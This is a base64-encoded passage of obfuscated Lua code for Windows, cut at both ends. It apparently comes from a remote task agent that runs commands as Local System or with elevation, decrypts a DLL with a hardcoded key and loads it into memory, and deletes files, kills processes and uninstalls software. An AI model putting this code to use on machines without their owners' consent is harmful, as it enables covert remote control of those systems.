ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
